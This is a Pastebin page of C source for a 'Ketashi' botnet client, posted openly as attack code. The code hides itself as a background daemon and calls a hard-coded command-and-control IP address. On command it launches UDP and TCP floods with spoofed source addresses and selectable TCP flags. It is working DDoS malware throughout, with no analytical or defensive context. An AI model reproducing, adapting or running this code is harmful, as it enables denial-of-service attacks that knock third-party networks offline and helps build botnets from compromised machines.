Advertisement
mysql_Anarchy

[ C ] Ketashi Botnet | By mysq_Anarchy

Jun 24th, 2018
1,056
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 19.23 KB | None | 0 0
  1. //Coded by mysql_Anarchy
  2. #include <stdlib.h>
  3. #include <stdarg.h>
  4. #include <stdio.h>
  5. #include <sys/socket.h>
  6. #include <sys/types.h>
  7. #include <netinet/in.h>
  8. #include <arpa/inet.h>
  9. #include <netdb.h>
  10. #include <signal.h>
  11. #include <strings.h>
  12. #include <string.h>
  13. #include <sys/utsname.h>
  14. #include <unistd.h>
  15. #include <fcntl.h>
  16. #include <errno.h>
  17. #include <netinet/ip.h>
  18. #include <netinet/udp.h>
  19. #include <netinet/tcp.h>
  20. #include <sys/wait.h>
  21. #include <sys/ioctl.h>
  22. #include <net/if.h>
  23. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  24. #define PAD_RIGHT 1
  25. #define PAD_ZERO 2
  26. #define PRINT_BUF_LEN 12
  27. unsigned char *commServer[] = {"80.211.56.147:764"};
  28. int initConnection();
  29. void makeRandomStr(unsigned char *buf, int length);
  30. int sockprintf(int sock, char *formatStr, ...);
  31. char *inet_ntoa(struct in_addr in);
  32. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  33. uint32_t *pids;
  34. uint64_t numpids = 0;
  35. struct in_addr ourIP;
  36. #define PHI 0x9e3779b9
  37. static uint32_t Q[4096], c = 362436;
  38. void init_rand(uint32_t x)
  39. {
  40.     int i;
  41.  
  42.     Q[0] = x;
  43.     Q[1] = x + PHI;
  44.     Q[2] = x + PHI + PHI;
  45.  
  46.     for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  47. }
  48. uint32_t rand_cmwc(void)
  49. {
  50.     uint64_t t, a = 18782LL;
  51.     static uint32_t i = 4095;
  52.     uint32_t x, r = 0xfffffffe;
  53.     i = (i + 1) & 4095;
  54.     t = a * Q[i] + c;
  55.     c = (uint32_t)(t >> 32);
  56.     x = t + c;
  57.     if (x < c) {
  58.         x++;
  59.         c++;
  60.     }
  61.     return (Q[i] = r - x);
  62. }
  63. void trim(char *str)
  64. {
  65.     int i;
  66.     int begin = 0;
  67.     int end = strlen(str) - 1;
  68.  
  69.     while (isspace(str[begin])) begin++;
  70.  
  71.     while ((end >= begin) && isspace(str[end])) end--;
  72.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  73.  
  74.     str[i - begin] = '\0';
  75. }
  76.  
  77. static void printchar(unsigned char **str, int c)
  78. {
  79.     if (str) {
  80.         **str = c;
  81.         ++(*str);
  82.     }
  83.     else (void)write(1, &c, 1);
  84. }
  85.  
  86. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  87. {
  88.     register int pc = 0, padchar = ' ';
  89.  
  90.     if (width > 0) {
  91.         register int len = 0;
  92.         register const unsigned char *ptr;
  93.         for (ptr = string; *ptr; ++ptr) ++len;
  94.         if (len >= width) width = 0;
  95.         else width -= len;
  96.         if (pad & PAD_ZERO) padchar = '0';
  97.     }
  98.     if (!(pad & PAD_RIGHT)) {
  99.         for ( ; width > 0; --width) {
  100.             printchar (out, padchar);
  101.             ++pc;
  102.         }
  103.     }
  104.     for ( ; *string ; ++string) {
  105.         printchar (out, *string);
  106.         ++pc;
  107.     }
  108.     for ( ; width > 0; --width) {
  109.         printchar (out, padchar);
  110.         ++pc;
  111.     }
  112.  
  113.     return pc;
  114. }
  115.  
  116. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  117. {
  118.     unsigned char print_buf[PRINT_BUF_LEN];
  119.     register unsigned char *s;
  120.     register int t, neg = 0, pc = 0;
  121.     register unsigned int u = i;
  122.  
  123.     if (i == 0) {
  124.         print_buf[0] = '0';
  125.         print_buf[1] = '\0';
  126.         return prints (out, print_buf, width, pad);
  127.     }
  128.  
  129.     if (sg && b == 10 && i < 0) {
  130.         neg = 1;
  131.         u = -i;
  132.     }
  133.  
  134.     s = print_buf + PRINT_BUF_LEN-1;
  135.     *s = '\0';
  136.  
  137.     while (u) {
  138.         t = u % b;
  139.         if( t >= 10 )
  140.         t += letbase - '0' - 10;
  141.         *--s = t + '0';
  142.         u /= b;
  143.     }
  144.  
  145.     if (neg) {
  146.         if( width && (pad & PAD_ZERO) ) {
  147.             printchar (out, '-');
  148.             ++pc;
  149.             --width;
  150.         }
  151.         else {
  152.             *--s = '-';
  153.         }
  154.     }
  155.  
  156.     return pc + prints (out, s, width, pad);
  157. }
  158.  
  159. static int print(unsigned char **out, const unsigned char *format, va_list args )
  160. {
  161.     register int width, pad;
  162.     register int pc = 0;
  163.     unsigned char scr[2];
  164.  
  165.     for (; *format != 0; ++format) {
  166.         if (*format == '%') {
  167.             ++format;
  168.             width = pad = 0;
  169.             if (*format == '\0') break;
  170.             if (*format == '%') goto out;
  171.             if (*format == '-') {
  172.                 ++format;
  173.                 pad = PAD_RIGHT;
  174.             }
  175.             while (*format == '0') {
  176.                 ++format;
  177.                 pad |= PAD_ZERO;
  178.             }
  179.             for ( ; *format >= '0' && *format <= '9'; ++format) {
  180.                 width *= 10;
  181.                 width += *format - '0';
  182.             }
  183.             if( *format == 's' ) {
  184.                 register char *s = (char *)va_arg( args, int );
  185.                 pc += prints (out, s?s:"(null)", width, pad); // this to
  186.                 continue;
  187.             }
  188.             if( *format == 'd' ) {
  189.                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  190.                 continue;
  191.             }
  192.             if( *format == 'x' ) {
  193.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  194.                 continue;
  195.             }
  196.             if( *format == 'X' ) {
  197.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  198.                 continue;
  199.             }
  200.             if( *format == 'u' ) {
  201.                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  202.                 continue;
  203.             }
  204.             if( *format == 'c' ) {
  205.                 scr[0] = (unsigned char)va_arg( args, int );
  206.                 scr[1] = '\0';
  207.                 pc += prints (out, scr, width, pad);
  208.                 continue;
  209.             }
  210.         }
  211.         else {
  212. out:
  213.             printchar (out, *format);
  214.             ++pc;
  215.         }
  216.     }
  217.     if (out) **out = '\0';
  218.     va_end( args );
  219.     return pc;
  220. }
  221. int sockprintf(int sock, char *formatStr, ...)
  222. {
  223.     unsigned char *textBuffer = malloc(2048);
  224.     memset(textBuffer, 0, 2048);
  225.     char *orig = textBuffer;
  226.     va_list args;
  227.     va_start(args, formatStr);
  228.     print(&textBuffer, formatStr, args);
  229.     va_end(args);
  230.     orig[strlen(orig)] = '\n';
  231.     int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  232.     free(orig);
  233.     return q;
  234. }
  235.  
  236. int getHost(unsigned char *toGet, struct in_addr *i)
  237. {
  238.     struct hostent *h;
  239.     if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  240.     return 0;
  241. }
  242.  
  243. void makeRandomStr(unsigned char *buf, int length)
  244. {
  245.     int i = 0;
  246.     for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  247. }
  248.  
  249. int recvLine(int socket, unsigned char *buf, int bufsize)
  250. {
  251.     memset(buf, 0, bufsize);
  252.     fd_set myset;
  253.     struct timeval tv;
  254.     tv.tv_sec = 30;
  255.     tv.tv_usec = 0;
  256.     FD_ZERO(&myset);
  257.     FD_SET(socket, &myset);
  258.     int selectRtn, retryCount;
  259.     if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  260.         while(retryCount < 10)
  261.         {
  262.             tv.tv_sec = 30;
  263.             tv.tv_usec = 0;
  264.             FD_ZERO(&myset);
  265.             FD_SET(socket, &myset);
  266.             if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  267.                 retryCount++;
  268.                 continue;
  269.             }
  270.             break;
  271.         }
  272.     }
  273.     unsigned char tmpchr;
  274.     unsigned char *cp;
  275.     int count = 0;
  276.     cp = buf;
  277.     while(bufsize-- > 1)
  278.     {
  279.         if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  280.             *cp = 0x00;
  281.             return -1;
  282.         }
  283.         *cp++ = tmpchr;
  284.         if(tmpchr == '\n') break;
  285.         count++;
  286.     }
  287.     *cp = 0x00;
  288.     return count;
  289. }
  290.  
  291. int connectTimeout(int fd, char *host, int port, int timeout)
  292. {
  293.     struct sockaddr_in dest_addr;
  294.     fd_set myset;
  295.     struct timeval tv;
  296.     socklen_t lon;
  297.  
  298.     int valopt;
  299.     long arg = fcntl(fd, F_GETFL, NULL);
  300.     arg |= O_NONBLOCK;
  301.     fcntl(fd, F_SETFL, arg);
  302.  
  303.     dest_addr.sin_family = AF_INET;
  304.     dest_addr.sin_port = htons(port);
  305.     if(getHost(host, &dest_addr.sin_addr)) return 0;
  306.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  307.     int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  308.  
  309.     if (res < 0) {
  310.         if (errno == EINPROGRESS) {
  311.             tv.tv_sec = timeout;
  312.             tv.tv_usec = 0;
  313.             FD_ZERO(&myset);
  314.             FD_SET(fd, &myset);
  315.             if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  316.                 lon = sizeof(int);
  317.                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  318.                 if (valopt) return 0;
  319.             }
  320.             else return 0;
  321.         }
  322.         else return 0;
  323.     }
  324.  
  325.     arg = fcntl(fd, F_GETFL, NULL);
  326.     arg &= (~O_NONBLOCK);
  327.     fcntl(fd, F_SETFL, arg);
  328.  
  329.     return 1;
  330. }
  331.  
  332. int listFork()
  333. {
  334.     uint32_t parent, *newpids, i;
  335.     parent = fork();
  336.     if (parent <= 0) return parent;
  337.     numpids++;
  338.     newpids = (uint32_t*)malloc((numpids + 1) * 4);
  339.     for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  340.     newpids[numpids - 1] = parent;
  341.     free(pids);
  342.     pids = newpids;
  343.     return parent;
  344. }
  345.  
  346. in_addr_t getRandomIP(in_addr_t netmask)
  347. {
  348.     in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  349.     return tmp ^ ( rand_cmwc() & ~netmask);
  350. }
  351.  
  352. unsigned short csum (unsigned short *buf, int count)
  353. {
  354.     register uint64_t sum = 0;
  355.     while( count > 1 ) { sum += *buf++; count -= 2; }
  356.     if(count > 0) { sum += *(unsigned char *)buf; }
  357.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  358.     return (uint16_t)(~sum);
  359. }
  360.  
  361. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  362. {
  363.  
  364.     struct tcp_pseudo
  365.     {
  366.         unsigned long src_addr;
  367.         unsigned long dst_addr;
  368.         unsigned char zero;
  369.         unsigned char proto;
  370.         unsigned short length;
  371.     } pseudohead;
  372.     unsigned short total_len = iph->tot_len;
  373.     pseudohead.src_addr=iph->saddr;
  374.     pseudohead.dst_addr=iph->daddr;
  375.     pseudohead.zero=0;
  376.     pseudohead.proto=IPPROTO_TCP;
  377.     pseudohead.length=htons(sizeof(struct tcphdr));
  378.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  379.     unsigned short *tcp = malloc(totaltcp_len);
  380.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  381.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  382.     unsigned short output = csum(tcp,totaltcp_len);
  383.     free(tcp);
  384.     return output;
  385. }
  386.  
  387. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  388. {
  389.     iph->ihl = 5;
  390.     iph->version = 4;
  391.     iph->tos = 0;
  392.     iph->tot_len = sizeof(struct iphdr) + packetSize;
  393.     iph->id = rand_cmwc();
  394.     iph->frag_off = 0;
  395.     iph->ttl = MAXTTL;
  396.     iph->protocol = protocol;
  397.     iph->check = 0;
  398.     iph->saddr = source;
  399.     iph->daddr = dest;
  400. }
  401.  
  402. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  403. {
  404.     struct sockaddr_in dest_addr;
  405.  
  406.     dest_addr.sin_family = AF_INET;
  407.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  408.     else dest_addr.sin_port = htons(port);
  409.     if(getHost(target, &dest_addr.sin_addr)) return;
  410.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  411.  
  412.     register unsigned int pollRegister;
  413.     pollRegister = pollinterval;
  414.  
  415.     if(spoofit == 32)
  416.     {
  417.         int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  418.         if(!sockfd)
  419.         {
  420.             return;
  421.         }
  422.  
  423.         unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  424.         if(buf == NULL) return;
  425.         memset(buf, 0, packetsize + 1);
  426.         makeRandomStr(buf, packetsize);
  427.  
  428.         int end = time(NULL) + timeEnd;
  429.         register unsigned int i = 0;
  430.         while(1)
  431.         {
  432.             sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  433.  
  434.             if(i == pollRegister)
  435.             {
  436.                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  437.                 if(time(NULL) > end) break;
  438.                 i = 0;
  439.                 continue;
  440.             }
  441.             i++;
  442.         }
  443.     } else {
  444.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  445.         if(!sockfd)
  446.         {
  447.             return;
  448.         }
  449.  
  450.         int tmp = 1;
  451.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  452.         {
  453.             return;
  454.         }
  455.  
  456.         int counter = 50;
  457.         while(counter--)
  458.         {
  459.             srand(time(NULL) ^ rand_cmwc());
  460.             init_rand(rand());
  461.         }
  462.  
  463.         in_addr_t netmask;
  464.  
  465.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  466.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  467.  
  468.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  469.         struct iphdr *iph = (struct iphdr *)packet;
  470.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  471.  
  472.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  473.  
  474.         udph->len = htons(sizeof(struct udphdr) + packetsize);
  475.         udph->source = rand_cmwc();
  476.         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  477.         udph->check = 0;
  478.  
  479.         makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  480.  
  481.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  482.  
  483.         int end = time(NULL) + timeEnd;
  484.         register unsigned int i = 0;
  485.         while(1)
  486.         {
  487.             sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  488.  
  489.             udph->source = rand_cmwc();
  490.             udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  491.             iph->id = rand_cmwc();
  492.             iph->saddr = htonl( getRandomIP(netmask) );
  493.             iph->check = csum ((unsigned short *) packet, iph->tot_len);
  494.  
  495.             if(i == pollRegister)
  496.             {
  497.                 if(time(NULL) > end) break;
  498.                 i = 0;
  499.                 continue;
  500.             }
  501.             i++;
  502.         }
  503.     }
  504. }
  505.  
  506. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  507. {
  508.     register unsigned int pollRegister;
  509.     pollRegister = pollinterval;
  510.  
  511.     struct sockaddr_in dest_addr;
  512.  
  513.     dest_addr.sin_family = AF_INET;
  514.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  515.     else dest_addr.sin_port = htons(port);
  516.     if(getHost(target, &dest_addr.sin_addr)) return;
  517.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  518.  
  519.     int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  520.     if(!sockfd)
  521.     {
  522.         return;
  523.     }
  524.  
  525.     int tmp = 1;
  526.     if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  527.     {
  528.         return;
  529.     }
  530.  
  531.     in_addr_t netmask;
  532.  
  533.     if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  534.     else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  535.  
  536.     unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  537.     struct iphdr *iph = (struct iphdr *)packet;
  538.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  539.  
  540.     makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  541.  
  542.     tcph->source = rand_cmwc();
  543.     tcph->seq = rand_cmwc();
  544.     tcph->ack_seq = 0;
  545.     tcph->doff = 5;
  546.  
  547.     if(!strcmp(flags, "all"))
  548.     {
  549.         tcph->syn = 1;
  550.         tcph->rst = 1;
  551.         tcph->fin = 1;
  552.         tcph->ack = 1;
  553.         tcph->psh = 1;
  554.     } else {
  555.         unsigned char *pch = strtok(flags, ",");
  556.         while(pch)
  557.         {
  558.             if(!strcmp(pch,         "syn"))
  559.             {
  560.                 tcph->syn = 1;
  561.             } else if(!strcmp(pch,  "rst"))
  562.             {
  563.                 tcph->rst = 1;
  564.             } else if(!strcmp(pch,  "fin"))
  565.             {
  566.                 tcph->fin = 1;
  567.             } else if(!strcmp(pch,  "ack"))
  568.             {
  569.                 tcph->ack = 1;
  570.             } else if(!strcmp(pch,  "psh"))
  571.             {
  572.                 tcph->psh = 1;
  573.             } else {
  574.             }
  575.             pch = strtok(NULL, ",");
  576.         }
  577.     }
  578.  
  579.     tcph->window = rand_cmwc();
  580.     tcph->check = 0;
  581.     tcph->urg_ptr = 0;
  582.     tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  583.     tcph->check = tcpcsum(iph, tcph);
  584.  
  585.     iph->check = csum ((unsigned short *) packet, iph->tot_len);
  586.  
  587.     int end = time(NULL) + timeEnd;
  588.     register unsigned int i = 0;
  589.     while(1)
  590.     {
  591.         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  592.  
  593.         iph->saddr = htonl( getRandomIP(netmask) );
  594.         iph->id = rand_cmwc();
  595.         tcph->seq = rand_cmwc();
  596.         tcph->source = rand_cmwc();
  597.         tcph->check = 0;
  598.         tcph->check = tcpcsum(iph, tcph);
  599.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  600.  
  601.         if(i == pollRegister)
  602.         {
  603.             if(time(NULL) > end) break;
  604.             i = 0;
  605.             continue;
  606.         }
  607.         i++;
  608.     }
  609. }
  610.  
  611. void processCmd(int argc, unsigned char *argv[])
  612. {
  613.     if(!strcmp(argv[0], "UDP"))
  614.     {
  615.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  616.         {
  617.             return;
  618.         }
  619.  
  620.         unsigned char *ip = argv[1];
  621.         int port = atoi(argv[2]);
  622.         int time = atoi(argv[3]);
  623.         int spoofed = atoi(argv[4]);
  624.         int packetsize = atoi(argv[5]);
  625.         int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  626.  
  627.         if(strstr(ip, ",") != NULL)
  628.         {
  629.             unsigned char *hi = strtok(ip, ",");
  630.             while(hi != NULL)
  631.             {
  632.                 if(!listFork())
  633.                 {
  634.                     sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  635.                     close(mainCommSock);
  636.                     _exit(0);
  637.                 }
  638.                 hi = strtok(NULL, ",");
  639.             }
  640.         } else {
  641.             if (listFork()) { return; }
  642.  
  643.             sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  644.             close(mainCommSock);
  645.  
  646.             _exit(0);
  647.         }
  648.     }
  649.     if(!strcmp(argv[0], "TCP"))
  650.     {
  651.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  652.         {
  653.             return;
  654.         }
  655.  
  656.         unsigned char *ip = argv[1];
  657.         int port = atoi(argv[2]);
  658.         int time = atoi(argv[3]);
  659.         int spoofed = atoi(argv[4]);
  660.         unsigned char *flags = argv[5];
  661.  
  662.         int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  663.         int psize = argc > 6 ? atoi(argv[6]) : 0;
  664.  
  665.         if(strstr(ip, ",") != NULL)
  666.         {
  667.             unsigned char *hi = strtok(ip, ",");
  668.             while(hi != NULL)
  669.             {
  670.                 if(!listFork())
  671.                 {
  672.                     sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  673.                     close(mainCommSock);
  674.                     _exit(0);
  675.                 }
  676.                 hi = strtok(NULL, ",");
  677.             }
  678.         } else {
  679.             if (listFork()) { return; }
  680.  
  681.             sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  682.             close(mainCommSock);
  683.  
  684.             _exit(0);
  685.         }
  686.     }
  687.  
  688.     if(!strcmp(argv[0], "STOP"))
  689.     {
  690.         int killed = 0;
  691.         unsigned long i;
  692.         for (i = 0; i < numpids; i++) {
  693.             if (pids[i] != 0 && pids[i] != getpid()) {
  694.                 kill(pids[i], 9);
  695.                 killed++;
  696.             }
  697.         }
  698.  
  699.         if(killed > 0)
  700.         {
  701.         } else {
  702.         }
  703.     }
  704. }
  705.  
  706. int initConnection()
  707. {
  708.     unsigned char server[512];
  709.     memset(server, 0, 512);
  710.     if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  711.     if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  712.     else currentServer++;
  713.  
  714.     strcpy(server, commServer[currentServer]);
  715.     int port = 6982;
  716.     if(strchr(server, ':') != NULL)
  717.     {
  718.         port = atoi(strchr(server, ':') + 1);
  719.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  720.     }
  721.  
  722.     mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  723.  
  724.     if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  725.  
  726.     return 0;
  727. }
  728.  
  729. int main(int argc, unsigned char *argv[])
  730. {
  731.     if(SERVER_LIST_SIZE <= 0) return 0;
  732.  
  733.     srand(time(NULL) ^ getpid());
  734.     init_rand(time(NULL) ^ getpid());
  735.  
  736.     pid_t pid1;
  737.     pid_t pid2;
  738.     int status;
  739.  
  740.     if (pid1 = fork()) {
  741.             waitpid(pid1, &status, 0);
  742.             exit(0);
  743.     } else if (!pid1) {
  744.             if (pid2 = fork()) {
  745.                     exit(0);
  746.             } else if (!pid2) {
  747.             } else {
  748.             }
  749.     } else {
  750.     }
  751.     setsid();
  752.     chdir("/");
  753.     signal(SIGPIPE, SIG_IGN);
  754.  
  755.     while(1)
  756.     {
  757.         if(initConnection()) { sleep(5); continue; }
  758.         sockprintf(mainCommSock, "KETASHI -> [ BOT JOINED ] --> [ ROUTER ]");
  759.         char commBuf[4096];
  760.         int got = 0;
  761.         int i = 0;
  762.         while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  763.         {
  764.             for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  765.                 unsigned int *newpids, on;
  766.                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  767.                 pids[on - 1] = 0;
  768.                 numpids--;
  769.                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  770.                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  771.                 free(pids);
  772.                 pids = newpids;
  773.             }
  774.  
  775.             commBuf[got] = 0x00;
  776.  
  777.             trim(commBuf);
  778.            
  779.             unsigned char *message = commBuf;
  780.  
  781.             if(*message == '!')
  782.             {
  783.                 unsigned char *nickMask = message + 1;
  784.                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  785.                 if(*nickMask == 0x00) continue;
  786.                 *(nickMask) = 0x00;
  787.                 nickMask = message + 1;
  788.  
  789.                 message = message + strlen(nickMask) + 2;
  790.                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  791.  
  792.                 unsigned char *command = message;
  793.                 while(*message != ' ' && *message != 0x00) message++;
  794.                 *message = 0x00;
  795.                 message++;
  796.  
  797.                 unsigned char *tmpcommand = command;
  798.                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  799.  
  800.                 unsigned char *params[10];
  801.                 int paramsCount = 1;
  802.                 unsigned char *pch = strtok(message, " ");
  803.                 params[0] = command;
  804.  
  805.                 while(pch)
  806.                 {
  807.                     if(*pch != '\n')
  808.                     {
  809.                         params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  810.                         memset(params[paramsCount], 0, strlen(pch) + 1);
  811.                         strcpy(params[paramsCount], pch);
  812.                         paramsCount++;
  813.                     }
  814.                     pch = strtok(NULL, " ");
  815.                 }
  816.  
  817.                 processCmd(paramsCount, params);
  818.  
  819.                 if(paramsCount > 1)
  820.                 {
  821.                     int q = 1;
  822.                     for(q = 1; q < paramsCount; q++)
  823.                     {
  824.                         free(params[q]);
  825.                     }
  826.                 }
  827.             }
  828.         }
  829.     }
  830.  
  831.     return 0;
  832. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement